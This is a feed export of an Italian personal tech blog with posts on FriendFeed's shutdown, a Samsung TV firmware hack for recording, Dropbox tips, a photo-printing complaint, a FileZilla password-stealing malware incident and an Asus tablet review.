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		<title>Giao</title>
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		<pubDate>Fri, 10 Apr 2015 22:29:08 +0000</pubDate>
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					<description><![CDATA[Come già annunciato, e con un giorno di ritardo rispetto all&#8217;annuncio ufficiale, dalle 23,15 circa di stasera, Friendfeed non è più attivo. Dopo otto anni, dopo essere stato il social network più innovativo e più longevo senza manutenzione, è stata staccata la metaforica spina. Gli ultimi giorni sono stati di concitata attesa dell&#8217;inevitabile, molti hanno [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Come già <a href="http://wp.me/piu5z-q3">annunciato</a>, e con un giorno di ritardo rispetto all&#8217;annuncio ufficiale, dalle 23,15 circa di stasera, Friendfeed non è più attivo.<br />
Dopo otto anni, dopo essere stato il social network più innovativo e più longevo senza manutenzione, è stata staccata la metaforica spina.<br />
Gli ultimi giorni sono stati di concitata attesa dell&#8217;inevitabile, molti hanno fatto un backup del proprio feed, molti hanno deciso di non farlo, tanti di quelli che avevano abbandonato tempo fa sono tornati a salutare.<br />
Quello che volevo scrivere sul socialino l&#8217;ho già scritto qui il mese scorso, posso solo dire che è stato un posto (non solo virtuale) che ha cambiato un pochino la vita di tutti noi che ci siamo stati, nel bene e nel male. Quindi, se li incontrassi di persona, ringrazierei Bret Taylor, Paul Buckheit, Ben Golub e tutti gli altri per averci dato Friendfeed (senza nemmeno la pubblicità, peraltro) e direi loro che tutto è perdonato.</p>
<div id="attachment_1618" style="width: 310px" class="wp-caption aligncenter"><a href="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-goodbyefriendfeed.png"><img decoding="async" aria-describedby="caption-attachment-1618" class="size-medium wp-image-1618" src="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-goodbyefriendfeed-300x163.png" alt="l'ultimo screenshot della home nel momento in cui il server non ha più risposto " width="300" height="163" srcset="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-goodbyefriendfeed-300x163.png 300w, http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-goodbyefriendfeed-1024x557.png 1024w, http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-goodbyefriendfeed.png 1415w" sizes="(max-width: 300px) 100vw, 300px" /></a><p id="caption-attachment-1618" class="wp-caption-text">l&#8217;ultimo screenshot della home nel momento in cui il server non ha più risposto</p></div>
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		<title>So long&#8230;</title>
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		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Tue, 10 Mar 2015 00:35:21 +0000</pubDate>
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					<description><![CDATA[Visto che, praticamente, non scrivo più sul blog da quando ho cominciato a seguire assiduamente Friendfeed, mi sembra giusto scrivere qualcosa qui, oggi, dopo anni. Sì, perché è di oggi la notizia che dopo una lunga e onorata carriera, il &#8220;socialino dell&#8217;odio&#8221; verrà spento definitivamente ed irrimediabilmente fra un mese. Diciamo che è il fulmine [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Visto che, praticamente, non scrivo più sul blog da quando ho cominciato a seguire assiduamente Friendfeed, mi sembra giusto scrivere qualcosa qui, oggi, dopo anni.</p>
<p>Sì, perché è di oggi <a href="http://blog.friendfeed.com/2015/03/dear-friendfeed-community-were.html">la notizia</a> che dopo una lunga e onorata carriera, il &#8220;socialino dell&#8217;odio&#8221; verrà spento definitivamente ed irrimediabilmente fra un mese.</p>
<p>Diciamo che è il fulmine a ciel sereno più annunciato della storia, visto che ci si scherza su dal 2009, quando <a href="http://blog.friendfeed.com/2009/08/friendfeed-accepts-facebook-friend.html">Facebook comprò la società</a> con tutto quello che conteneva, team di sviluppatori e socialino compreso, soprattutto a causa dei periodici down del sito.</p>
<p>Alla fine si era convinti che ci avrebbe seppelliti tutti o che, nel peggiore dei casi, avrebbe avuto qualche problema tecnico che nessuno avrebbe più saputo risolvere, una volta che anche gli ultimi del team di Friendfeed fossero usciti da Facebook, come ricordava qualche tempo fa il fondatore <a href="http://www.quora.com/Whats-the-current-status-of-FriendFeed">Bret Taylor</a>.</p>
<p>O, come si pensava nell&#8217;immaginario popolare friendfeediano, per colpa della signora delle pulizie che avrebbe staccato il cavo del server per sbaglio, inciampandosi, e nessuno l&#8217;avrebbe mai più riattaccato alla presa.</p>
<p>D&#8217;altra parte è quasi un miracolo che un social network possa andare avanti sei anni senza che nessuno metta mano al codice, apporti migliorie, corregga bug. E invece è stato proprio così.</p>
<p>Come recita il comunicato ufficiale sul blog, la comunità era diventata sempre più piccola, molti se n&#8217;erano andati, ben pochi si erano iscritti, tanti avevano semplicemente abbandonato. Soprattutto gli americani, lasciando turchi e italiani a fare massa critica.</p>
<p>Grazie ad un bug noto di Friendfeed, è impossibile ricordare con precisione la data di iscrizione, ma suppongo di essermi iscritto a fine 2007, dopo averne letto sul vecchio blog di <a href="http://enrico-sola.com">Suzukimaruti</a>, ancora su Splinder (t&#8217;oo ricordi, Splinder?), e ci sono rimasto finora. E con tutta probabilità fino al 9 aprile.</p>
<p>All&#8217;epoca era uno dei primi social network, subito dopo MySpace e più o meno coetaneo di Facebook, che però è diventato pubblico più tardi, e di Twitter. Solo che aveva una caratteristica particolare già intuibile dal nome: aggregava i feed degli utenti, così da avere in un posto solo tutto il proprio flusso di contenuti generati. E non solo dagli utenti, ma si poteva importare qualunque cosa avesse un feed RSS. E attorno a questi import si poteva discutere commentando: solo in un secondo momento venne data la possibilità di scrivere direttamente post (non brevi come su Twitter, non lunghi come su Facebook) con la possibilità di allegare foto, mp3, linkare video, ecc.</p>
<p>Ovviamente una piattaforma del genere era quello che ci voleva per uscire dalla &#8220;bolla dei blog&#8221; appena scoppiata, però questo sistema scardinò un po&#8217; le dinamiche della rete, soprattutto in italia, che avevano per anni premiato i blogger più brillanti, produttivi e noti, portandoli ad essere definiti blogstar. Infatti il meccanismo per cui venivano presentati in homepage non solo i post degli amici, ma anche quelli commentati dagli amici, ha reso possibili uno scambio di commenti rapido e massiccio che metteva totalmente in secondo piano il post di partenza, lasciando più spazio alla discussione che non sui blog.</p>
<p>E, si sà, una volta che scrivi qualcosa in pubblico devi accettare qualunque tipo di commento e qualunque critica, altrimenti ti dai ad un altro sport (tipo Twitter). E così i &#8220;personaggi&#8221; della blogosfera italica, poco per volta, discussione dopo discussione, scazzo dopo scazzo, lentamente abbandonarono quasi tutti il campo, lasciando spazio a personaggi meno noti che si sono confrontati ogni giorno ad armi più o meno pari (spesso tipo i duelli ad insulti di Monkey Island) producendo una mole di contenuti divertenti, utili, cazzoni, emozionanti.</p>
<p>Contenuti che, come diceva quello, andranno persi come cose nella cosa, lì&#8230;</p>
<p>Quindi, per finire il coccodrillone, non mi resta che fare ancora una volta uno dei tipici gesti di Friendfeed: postare uno screenshot ad imperitura memoria.</p>
<div id="attachment_1616" style="width: 310px" class="wp-caption aligncenter"><a href="http://www.unpirlaqualsiasi.it/wp-content/uploads/rip.png"><img decoding="async" aria-describedby="caption-attachment-1616" class="size-medium wp-image-1616" src="http://www.unpirlaqualsiasi.it/wp-content/uploads/rip-300x94.png" alt="Friendfeed, 1/10/2007 - 9/4/2015 - R.I.P." width="300" height="94" srcset="http://www.unpirlaqualsiasi.it/wp-content/uploads/rip-300x94.png 300w, http://www.unpirlaqualsiasi.it/wp-content/uploads/rip.png 762w" sizes="(max-width: 300px) 100vw, 300px" /></a><p id="caption-attachment-1616" class="wp-caption-text">Friendfeed, 1/10/2007 &#8211; 9/4/2015 &#8211; R.I.P.</p></div>
<p>(Oh, io ho scritto all&#8217;imperfetto e al passato: se poi non lo spengono entro un mese, meglio così&#8230;)</p>
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		<title>Piacevoli sorprese dalla TV</title>
		<link>http://www.unpirlaqualsiasi.it/2012/08/22/piacevoli-sorprese-dalla-tv/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Wed, 22 Aug 2012 17:16:11 +0000</pubDate>
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					<description><![CDATA[TV nel senso di televisore, non di televisione, ovviamente. Due anni fa ho comprato una TV Samsung per camera mia: la LE40C650, ovvero TV LCD 40 pollici serie C. Dopo due anni di ricerche e tentazioni da parte di vari forum e pagine wiki, ho trovato questo post del blog di JBOB in cui viene [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>TV nel senso di televisore, non di televisione, ovviamente.</p>
<p>Due anni fa ho comprato una TV Samsung per camera mia: la LE40C650, ovvero TV LCD 40 pollici serie C.</p>
<p>Dopo due anni di ricerche e tentazioni da parte di vari forum e pagine wiki, ho trovato <a href="http://hack-center.de/blog/2011/04/enabling-pvr-and-timeshift-on-the-samsung-le40c650/">questo post</a> del blog di JBOB in cui viene spiegato come ottenere qualcosa di più da una TV come la mia: la possibilità di registrare direttamente e di attivare il <span style="font-style: italic;">timeshift</span>.</p>
<p>Ovviamente la cosa mi interessa, e ci provo.</p>
<p>Altrettanto ovviamente, il metodo descritto non funziona a causa dei recenti firmware che impediscono questo hack.</p>
<p>Mi metto a cercare un po&#8217; in giro per i forum, ma il verdetto è unanime: l&#8217;unico modo per attivare quel menu &#8220;segreto&#8221; è il downgrade del firmware della TV, ma non è né facile né consigliabile.</p>
<p>Peccato.</p>
<p>Poi, la settimana scorsa, ho nuovamente cercato su Google se ci fossero novità e ho trovato <a href="http://www.avmagazine.it/forum/69-display-e-tv-lcd-full-hd/194099-guida-al-downgrade-samsung-serie-c?p=3063992#post3063992">questa guida</a>, addirittura in italiano.</p>
<p>Scorrendola sommariamente sembra una serie di punti complicatissimi ma, come dice lo stesso autore nel secondo commento, è più facile a farsi che a scrivere una guida per farlo.</p>
<p>Questa guida, infatti, mostra come eseguire il downgrade del firmware alla versione base (con tanto di file necessari scaricabili liberamente) e poi aggiornare all&#8217;ultima versione che permette l&#8217;attivazione delle funzioni che ci interessano.</p>
<p>Una volta caricato sulla TV il firmware giusto, si deve seguire la guida (in inglese, stavolta) del post di JBOB linkato sopra: si tratta di aprire/chiudere/attivare/disattivare menu col telecomando della TV, niente che richieda conoscenze specifiche che vadano più in là del saper leggere l&#8217;inglese.</p>
<p>Occorrono solo:<br />
&#8211; una TV Samsung serie C (nello specifico LE40C650, ma l&#8217;hack è applicabile anche ad altri modelli)<br />
&#8211; un cavo di rete (la TV va collegata direttamente al PC)<br />
&#8211; una chiavetta USB (con almeno 2 giga di spazio) per il downgrade<br />
&#8211; una chiavetta USB per l&#8217;aggiornamento</p>
<p>E in meno di dieci minuti (a proprio rischio e pericolo di brickare la TV, soprattutto nella fase di downgrade del firmware) si ottiene una TV con due utilissime funzioni in più.</p>
<p>Sarà possibile registrare su chiavetta o hard disk esterno (che la TV formatterà in XFS) sia durante la visione, sia attraverso la programmazione EGP (in entrambi i casi è possibile registrare solo ciò che si sta vedendo e solo dalla TV, non da sorgenti esterne).</p>
<p>Avendo chiavetta o hard disk collegato, sarà possibile anche il timeshift, cioè la possibilità di mettere la TV in pausa senza perdersi nulla di ciò che viene trasmesso, in caso ci si debba allontanare dal televisore. Come il MySky, per intenderci.</p>
<p>Non solo: la versione di firmware che si usa per aggiornare la TV dopo il downgrade attiva anche un server FTP interno alla TV, in modo tale che si possano scaricare le registrazioni direttamente dalla rete di casa senza dover sempre scollegare l&#8217;hard disk o la chiavetta dal televisore.</p>
<p>Va ricordato, tuttavia, che i file video registrati dalla TV non sono leggibili sul PC o su un&#8217;altra TV, perché sono crittati all&#8217;uopo. Però qualcuno ci ha lavorato ed ha prodotto un <a href="http://forum.samygo.tv/viewtopic.php?f=22&amp;t=2820&amp;start=140#p30416">programmino</a> che prende i video dalla tv via FTP e li decritta per noi.</p>
<p>Beh, cosa volete di più?</p>
<p>Magari, a scoprirlo prima, evitavo di perdermi la finale dei 100 metri alle olimpiadi <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Dropbox in profondità</title>
		<link>http://www.unpirlaqualsiasi.it/2012/05/30/dropbox-in-profondita/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Wed, 30 May 2012 17:02:20 +0000</pubDate>
				<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[condivisione]]></category>
		<category><![CDATA[dropbox]]></category>
		<category><![CDATA[sharing]]></category>
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					<description><![CDATA[Nel post precedente abbiamo fatto la conoscenza di Dropbox, di quanto spazio offra gratuitamente, e di quante belle cose faccia. Stavolta andiamo più in profondità per scoprire le potenzialità di questo servizio. Innanzitutto non serve solo per condividere i nostri file online con altre persone, ma anche per condividerli sulla nostra stessa rete locale di [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Nel <a href="http://www.nontroppotecnico.com/2010/12/tutorial/condividere-in-liberta-dropbox/">post precedente</a> abbiamo fatto la conoscenza di Dropbox, di quanto spazio offra gratuitamente, e di quante belle cose faccia. Stavolta andiamo più in profondità per scoprire le potenzialità di questo servizio.</p>
<p>Innanzitutto non serve solo per condividere i nostri file online con altre persone, ma anche per condividerli sulla nostra stessa rete locale di computer (di casa o lavoro non fa differenza).</p>
<p>Infatti, se installiamo il programmino di condivisione di Dropbox su più di un PC all&#8217;interno di una rete, i file vengono trasferiti da un PC all&#8217;altro immediatamente, evitando che vengano prima caricati sul server di Dropbox e poi scaricati su un altro nostro PC. E non è cosa da poco, soprattutto quando si tratta di file di grosse dimensioni.</p>
<p>Per attivare questa funzione basta cliccare col tasto destro sull&#8217;icona di Dropbox vicino all&#8217;orologio e scegliere &#8220;Preferences&#8230;&#8221; dal menu a discesa. Qui ci sono due schede: &#8220;General&#8221; e &#8220;Network&#8221;. Scegliere la prima e spuntare l&#8217;ultima voce &#8220;Enable LAN sync&#8221;, quindi chiudere la finestra premendo &#8220;OK&#8221;. Da questo momento, qualsiasi cosa venga caricata su dropbox, verrà prima condivisa automaticamente sugli altri PC della propria rete locale (su cui è installato Dropbox ed è stata attivata questa funzione).</p>
<p><span style="font-weight: bold;">Uso alternativo di Dropbox</span></p>
<p>L&#8217;uso tradizionele di Dropbox è, come abbiamo visto, la condivisione di file.</p>
<p>Nulla ci vieta, però, di usarlo per altri scopi più &#8220;creativi&#8221;.</p>
<p>È possibile, infatti, usare una delle cartelle di Dropbox per salvare i backup dei dati importanti che abbiamo sul PC. Per far ciò è sufficiente impostare il nostro programma di backup preferito in modo tale che i file vengano copiati nella cartella che abbiamo scelto in Dropbox.</p>
<p>Possiamo, allo stesso modo, impostare il nostro client Torrent per fargli scaricare in automatico i file .torrent che carichiamo in una determinata cartella di Dropbox. In questo modo è possibile lanciare a distanza i download su un PC sempre acceso (per esempio da casa all&#8217;ufficio, o viceversa).</p>
<p>Addirittura possiamo stampare file su PC remoti attraverso Dropbox. Questa operazione è leggermente più complessa, ma va eseguita una sola volta. Bisogna scaricare <a href="http://img.labnol.org/files/ePrint.zip">questo</a> file zip (su PC, oppure leggere <a href="http://www.labnol.org/tech/print-files-on-remote-mac/17838/">qui</a> per Mac e <a href="http://www.labnol.org/software/print-files-on-linux/17841/">qui</a> per Linux) sul PC che vogliamo usare per stampare (che deve essere acceso e avere una stampante collegata, ovviamente), scompattarlo sul desktop ed eseguire il file (<span style="font-style: italic;">script</span>) cliccandoci sopra. Il file creerà una cartella di nome &#8220;PrintQueue&#8221; nel nostro Dropbox e si occuperà di inviare alla stampante tutti i file che ci troverà dentro.</p>
<p>Per stampare, quindi, sarà sufficiente copiare il file nella cartella &#8220;PrintQueue&#8221; (ormai presente su tutti i nostri PC, grazie alla sincronizzazione di Dropbox di cui abbiamo parlato prima) e, non appena verrà scaricato sul PC che ha lo <span style="font-style: italic;">script</span> installato, sarà stampato.</p>
<p>Per poter garantire la stampa, deve essere presente sul PC con stampante un programma in grado di aprire il tipo di file che inviamo. Se, ad esempio, non è installato Office (o similari), sarà impossibile stampare un file in formato .doc.</p>
<p>La stessa cosa può essere fatta anche inviando il file come allegato email (o anche come testo dell&#8217;email) utilizzando lo stesso script e un servizio esterno (sempre gratuito) tipo <a href="http://sendtodropbox.com/">Sendtodropbox</a>.</p>
<p>Questi due metodi risultano particolarmente comodi per chi usa gli smartphone per navigare e gestire i propri file e, diversamente dovrebbe spostare i file manualmente su PC non sempre provvisti di supporto per il proprio modello di telefono o tablet.</p>
<p>Per ora è tutto, ma non sono escluse altre puntate riguardanti Dropbox, visto che ogni giorno vengono &#8220;scoperti&#8221; trucchetti e utilizzi creativi sempre nuovi!</p>
<p><span style="font-style: italic;">Originariamente postato il 27 dicembre 2010 su un blog che non c&#8217;è più.</span></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Condividere in libertà &#8211; Dropbox</title>
		<link>http://www.unpirlaqualsiasi.it/2012/05/30/condividere-in-liberta-dropbox/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Wed, 30 May 2012 16:52:21 +0000</pubDate>
				<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[condivisione]]></category>
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		<category><![CDATA[sharing]]></category>
		<category><![CDATA[tutorial]]></category>
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					<description><![CDATA[A tutti è capitato di dover scambiare file di una certa dimensione con persone che non avevano una casella email abbastanza capiente, o di dover mettere un file o una cartella in condivisione con altre persone. Ci sono vari modi per farlo: aprire uno spazio web gratuito, usare un servizio tipo Rapidshare o Fileshare (o [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>A tutti è capitato di dover scambiare file di una certa dimensione con persone che non avevano una casella email abbastanza capiente, o di dover mettere un file o una cartella in condivisione con altre persone.</p>
<p>Ci sono vari modi per farlo: aprire uno spazio web gratuito, usare un servizio tipo Rapidshare o Fileshare (o uno delle altra decine che ci sono sulla rete), oppure usare Dropbox.</p>
<p>Cos&#8217;è <a href="http://www.dropbox.com">Dropbox</a>?</p>
<p>È un servizio di condivisione online di file e cartelle. Praticamente è un hard disk online, dove possiamo mettere qualunque cosa e gestirlo come più ci piace, senza nessuna restrizione (spazio a parte) e in tutta sicurezza. E gratuito, ovviamente (ma è disponibile una versione a pagamento per uso professionale).</p>
<p>L&#8217;iscrizione è semplicissima e veloce: basta un indirizzo di posta elettronica e una password, e si otterrà la dotazione &#8220;base&#8221; di 2 giga di spazio.</p>
<p>Lo spazio, però, non è limitato a 2 giga. Si possono ottenere dei bonus compiendo varie operazioni:<br />
&#8211; 250 mega completando il percorso &#8220;Getting Started&#8221; in sei tappe (visitare il sito, installare sul proprio compure il programmino per sincronizzare i file con Dropbox, caricare dei file, installare il programino in altri computer, condividere una cartella con qualcuno, invitare gli amici su Dropbox);<br />
&#8211; 250 mega dopo le prime cinque tappe appena citate;<br />
&#8211; 250 mega per ogni amico che si iscrive a Dropbox usando il link (referral) che gli daremo via mail, via Twitter o via Facebook (<a href="https://www.dropbox.com/referrals/NTM0MjU1NjI5?src=global0">questo</a> è il mio <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> );<br />
&#8211; 768 mega seguendo le indicazioni di <a href="https://www.dropbox.com/free">questa pagina</a>.</p>
<p>Il massimo per gli utenti &#8220;base&#8221; è 8 giga.</p>
<p>Una volta iscritti e ottenuto lo spazio, usare Dropbox è molto semplice: installando il programino di cui sopra, verrà creata la cartella &#8220;Dropbox&#8221; nei Documenti del PC, e basterà copiarci dentro i file che vogliamo condividere perché questi vengano caricati in Dropbox.</p>
<p>Ovviamente bisogna tenere conto del fatto che il server di Dropbox è comunque su internet, quindi per caricare file di grosse dimensioni ci vorrà del tempo, a seconda della velocità della propria connessione.</p>
<p>Allo stesso modo è facile condividere i propri file, e si può fare in due modi: invitare un amico a condividere la cartella, se è iscritto a Dropbox, oppure inviare il link diretto al file.</p>
<p>Nelle prossime puntate vedremo quali altri usi si possono fare del nostro spazio su Dropbox, oltre alla condivisione di file.<br />
<br style="font-style: italic;" /><span style="font-style: italic;">Postato originariamente il 21 dicembre 2010 su un altro blog ormai chiuso.</span></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Stampare foto online &#8211; Esperienza Photoworld</title>
		<link>http://www.unpirlaqualsiasi.it/2012/03/29/stampare-foto-online-esperienza-photoworld/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Thu, 29 Mar 2012 16:35:15 +0000</pubDate>
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		<category><![CDATA[photoworld]]></category>
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					<description><![CDATA[Tempo fa sono andato a fare un giro, ho scattato qualche bella foto e volevo, finalmente, stamparne qualcuna in formato 20&#215;30 (no, non ho mai stampato foto da quando scatto in digitale). Dopo aver debitamente chiesto consigli su Friendfeed ho scelto il servizio di stampa di Photoworld. Basta iscriversi, caricare le foto sul sito e [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Tempo fa sono andato a fare un giro, ho scattato qualche bella foto e volevo, finalmente, stamparne qualcuna in formato 20&#215;30 (no, non ho mai stampato foto da quando scatto in digitale).</p>
<p>Dopo aver debitamente chiesto consigli su <a href="http://ff.im/Rw5KA">Friendfeed</a> ho scelto il servizio di stampa di <a href="http://www.photoworld.com">Photoworld</a>.</p>
<p>Basta iscriversi, caricare le foto sul sito e scegliere il servizio che si vuole per le proprie stampe (colori, BN, carta lucida, carta opaca, crop, livelli, ecc.), quindi si sceglie il formato, gli eventuali optional e si passa a pagare.</p>
<p>Diciamo che come servizio non è economicissimo perché, dato il pagamento con paypal e la spedizione, 15 euro per tre foto non sono esattamente pochi. Ma tant&#8217;è, mica stampo mille foto.</p>
<p>Quindi resta solo da aspettare qualche giorno (meno di una settimana, corriere permettendo) e le foto arrivano pronte a casa tua.</p>
<p>Ovviamente, conoscendo la mia sfiga storica, le foto arrivano ma c&#8217;è un problema: ho richiesto tre stampe in BN, invece ce ne sono soltanto due, a colori e non mie.</p>
<p>Beh, può capitare di confondere le spedizioni.</p>
<p>Rispondo alla mail che mi hanno inviato per dirmi che era tutto pronto per la spedizione, chiedendomi di rispondere se ci fossero stati problemi, e scrivo che i problemi c&#8217;erano stati.</p>
<p>Due giorni dopo, nessuna risposta. Ri-scrivo. Passano altri due giorni, nessuna risposta.</p>
<p>Non essendo stato contattato, rilascio il feedback negativo (il primo della mia vita, quasi un trauma per me) con riluttanza, perché mi spiace sempre criticare il lavoro degli altri.</p>
<p>Due secondi dopo vedo che esiste un sistema di ticket per segnalare problemi e malfunzionamenti. Mi do del pirla per non essermene accorto prima, e segnalo il problema via ticket.</p>
<p>Oggi è il 29 marzo, il ticket è stato inviato il 10 marzo scorso. Ad oggi nessun tipo di risposta. Cosa devo pensare?</p>
<p>Penso, al netto degli errori e dei disguidi che possono sempre succedere, che sia un servizio per nulla professionale e con un&#8217;assistenza clienti inesistente. Un vero costante ed enorme FAIL.</p>
<p>Non mi piace generalizzare e fare pubblicità negativa dopo una sola esperienza da dimenticare, ma mi piace pensare che, prima di scegliere un servizio, possa essere utile far sapere cosa può succedere quando ti va un po&#8217; di sfiga.</p>
]]></content:encoded>
					
		
		
			</item>
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		<title>Online a intermittenza</title>
		<link>http://www.unpirlaqualsiasi.it/2012/03/16/online-a-intermittenza/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Fri, 16 Mar 2012 22:24:11 +0000</pubDate>
				<category><![CDATA[about blog]]></category>
		<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[filezilla]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[tophost]]></category>
		<category><![CDATA[virus]]></category>
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					<description><![CDATA[Non che qualcuno se ne sia accorto, ma ultimamente questo blog ha avuto dei problemi tènnici. Si dà il caso che il qui presente pirla si sia preso un malware che ha la simpatica caratteristica di rubarsi le password di Filezilla (il client FTP più noto) e accedere ai siti memorizzati andando ad iniettare codice [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Non che qualcuno se ne sia accorto, ma ultimamente questo blog ha avuto dei problemi tènnici. Si dà il caso che il qui presente pirla si sia preso un malware che ha la simpatica caratteristica di rubarsi le password di Filezilla (il client FTP più noto) e accedere ai siti memorizzati andando ad iniettare codice malevolo nei file php.</p>
<p>Dapprima mi ha avvisato Google, bloccando l&#8217;accesso dal motore di ricerca, poi l&#8217;antivirus. Ho ripulito tutto ed è durato qualche settimana, poi i file sono stati nuovamente corrotti. A quel punto il mio hosting (Tophost) ha bloccato sito e FTP avvisandomi dei problemi. Ho svuotato tutto lo spazio web e ho reinstallato WordPress aggiornando tutto l&#8217;aggiornabile e, nel frattempo, ho cambiato il PC risolvendo anche l&#8217;infezione locale.</p>
<p>Ieri, aprendo per caso il blog, mi accorgo che il sito è nuovamente bloccato, e l&#8217;assistenza di Tophost mi risponde che stavolta è per spam. Senza PC infetto e con il blog sano, un file php malevolo era stato caricato in una posizione che non uso e, da lì, inviava spam tanto da rallentare l&#8217;intero server su cui è hostato il sito.</p>
<p>Grazie all&#8217;assistenza ho trovato il file colpevole e l&#8217;ho eliminato, e ora il blog è nuovamente accessibile.</p>
<p>Visti i precedenti non so quanto durerà, ma spero che il problema sia completamente risolto. Anche perché,  non avendo trovato informazioni online su questo tipo di attacco, comincio a pensare che si tratti di sfiga <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>L&#8217;unico consiglio che posso dare, oltre a non prendersi i malware, è quello di non salvare le credenziali di accesso dei siti su Filezilla, perché le salva in chiaro in un file facilmente accessibile (non solo dal malware).</p>
]]></content:encoded>
					
		
		
			</item>
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		<title>È arrivato il Transformer</title>
		<link>http://www.unpirlaqualsiasi.it/2011/07/21/e-arrivato-il-transformer/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Thu, 21 Jul 2011 20:07:45 +0000</pubDate>
				<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[asus]]></category>
		<category><![CDATA[EeePadTransformer]]></category>
		<category><![CDATA[prove]]></category>
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					<description><![CDATA[Spinto dalla curiosità, dall&#8217;aver provato iPad 1 e 2, e dal puro sfizio tecnologico ho comprato un Eee Pad Transformer della Asus. L&#8217;ho preso su Ebay, dove l&#8217;ho trovato per 399 euro compreso di tastiera. Qui di seguito le prime e seconde impressioni del primo giorno in cui l&#8217;ho potuto tenere tra le mani (al [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Spinto dalla curiosità, dall&#8217;aver provato iPad 1 e 2, e dal puro sfizio tecnologico ho comprato un <span style="font-style: italic;">Eee Pad Transformer</span> della Asus. L&#8217;ho preso su Ebay, dove l&#8217;ho trovato per 399 euro compreso di tastiera.</p>
<p>Qui di seguito le prime e seconde impressioni del primo giorno in cui l&#8217;ho potuto tenere tra le mani (al solito il viaggio del &#8220;piccolo&#8221; è stato avventuroso, grazie a Bartolini).</p>
<p><span style="font-weight: bold;">Unpacking</span></p>
<p>La scatola è di cartoncino rigido, grigia scura sfumata, satinata e con l&#8217;immagine dell&#8217; EeePad a colori in rilievo.<br />
Tagliati i due sigilli e aperta, la scatola mostra subito il Pad con lo schermo verso l&#8217;alto, avvolto in una plastica trasparente rigida con l&#8217;aletta per sollevarlo e per spacchettarlo (la plastica era rigata al centro e ho perso dieci anni di vita prima di riuscire a capire che non fosse il vetro del tablet). Subito sotto, avvolta nello stesso modo, c&#8217;è la tastiera/docking station. Sotto ancora, una bustina con il certificato di garanzia e i manuali utente di Pad e docking station. Per ultimi alimentatore, adattatore per le prese italiane e cavetto usb.</p>
<p>Partendo dal fondo direi che il cavetto usb avrebbero potuto farlo un pochino più lungo (è solo 50 cm.) e magari un classico usb&gt;mini usb, invece di metterci l&#8217;ennesimo connettore proprietario. E l&#8217;alimentatore scalda tantissimo!</p>
<p>La docking station è praticamente la tastiera di un Eee PC, con qualche tasto in più e curata molto ma molto meglio. A differenza del netbook, infatti, questo apparecchio è curato e rifinito molto bene, non scricchiola in nessun punto e i tasti non muovono sotto le dita. Oltre la tastiera c&#8217;è l&#8217;alloggiamento per il Pad, in cui il tablet scivola giusto fino al click di fondo. Pensavo che l&#8217;accoppiamento tra le due parti sarebbe stato il punto debole di tutto l&#8217;ambaradan e invece pare molto saldo, impossibile da inserire in modo non corretto e impossibile da rovinare in qualche piccola parte (lamelle, piedini, ecc.).<br />
Intorno ai bordi della tastiera troviamo due prese usb 2.0, lo slot per le card e la presa per l&#8217;alimentatore.</p>
<p>Passando al Pad troviamo, ovviamente, di più.<br />
Innanzitutto c&#8217;è il pulsante di accensione/spegnimento/stand-by (come specificato sul manuale: pressione di 2 secondi per accenderlo e di mezzo secondo per spegnerlo, mentre una semplice pressione attiva e disattiva lo stand-by), poi il pulsante del volume, la presa jack per le cuffie/microfono, l&#8217;uscita HDMI e lo slot per le schede microSD. Il cavetto si inserisce nella fessura centrale delle tre sul lato inferiore. Le altre due servono per inserire il Pad nella docking station.</p>
<p>Sulla cornice superiore è presente una video/fotocamera da 2 megapixel e sul lato posteriore una da 5.</p>
<p><span style="font-weight: bold;">Utilizzo</span></p>
<p>Al primo avvio parte la configurazione automatica, tipica dei terminali Android ma, a differenza dei telefoni, consta solo nell&#8217;inserimento del proprio Google account. Quindi l&#8217;Eee Pad cercherà le reti wifi disponibili e ci si connetterà a richiesta.<br />
Immediatamente vengono cercati gli aggiornamenti e, come nel mio caso, scaricati senza chiedere conferme.<br />
Pare impossibile anche rifiutarsi di installarli, come invece ho potuto fare sull&#8217;HTC Desire.</p>
<p>L&#8217;utilizzo del dispositivo è assolutamente elementare, soprattutto per chi ha già maeggiato un qualsiasi terminale Android, il tocco sull&#8217;interfaccia <span style="font-style: italic;">touch</span> è preciso e rapido e il movimento è fluido.<br />
La risoluzione dello schermo e il vetro di ottima qualità permettono di vedere le immagini con colori spettacolari e una definizione veramente impressionante.</p>
